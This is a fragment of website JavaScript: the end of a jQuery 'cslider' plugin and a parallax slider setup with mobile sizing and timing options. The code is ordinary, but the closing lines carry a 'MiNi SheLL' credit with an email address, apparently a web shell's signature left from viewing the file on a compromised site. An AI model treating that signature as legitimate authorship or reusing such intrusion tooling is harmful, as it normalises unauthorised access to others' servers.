				var args = Array.prototype.slice.call( arguments, 1 );
				this.each(function() {
					var instance = $.data( this, 'cslider' );
						if ( !instance ) {
					logError( "cannot call methods on cslider prior to initialization; " +
					"attempted to call method '" + options + "'" );
					return;
				}
						if ( !$.isFunction( instance[options] ) || options.charAt(0) === "_" ) {
					logError( "no such method '" + options + "' for cslider instance" );
					return;
				}
						instance[ options ].apply( instance, args );
				});
		} 
		else {
			this.each(function() {
					var instance = $.data( this, 'cslider' );
				if ( !instance ) {
					$.data( this, 'cslider', new $.Slider( options, this ) );
				}
			});
		}
		return this;
	};
	
})( jQuery );

$(function() {
	if ( $('#parallax-slider-stacks_in_65_page4').parent().width() < 481 ) { 
		$('.parallax-slide').addClass('parallax-mobile');
		var mobileSlideHeight = $('#parallax-slider-stacks_in_65_page4').height() + $('#parallax-slider-stacks_in_65_page4 .parallax-slide .parallax-img').css('height','auto').height();
		mobileSlideHeight = mobileSlideHeight + 20;
		$('#parallax-slider-stacks_in_65_page4').css('height',mobileSlideHeight);
	}
	$('#parallax-slider-stacks_in_65_page4').cslider({
	    current     : 0,
	    // index of current slide
	    bgincrement : 50,
	    // increment the background position
	    // (parallax effect) when sliding
	    autoplay    : false,
	    // slideshow on / off
	    interval    : 4000
	    // time between transitions
	});

});
	return stack;
})(stacks.stacks_in_65_page4);



Creat By MiNi SheLL
Email: devilkiller@gmail.com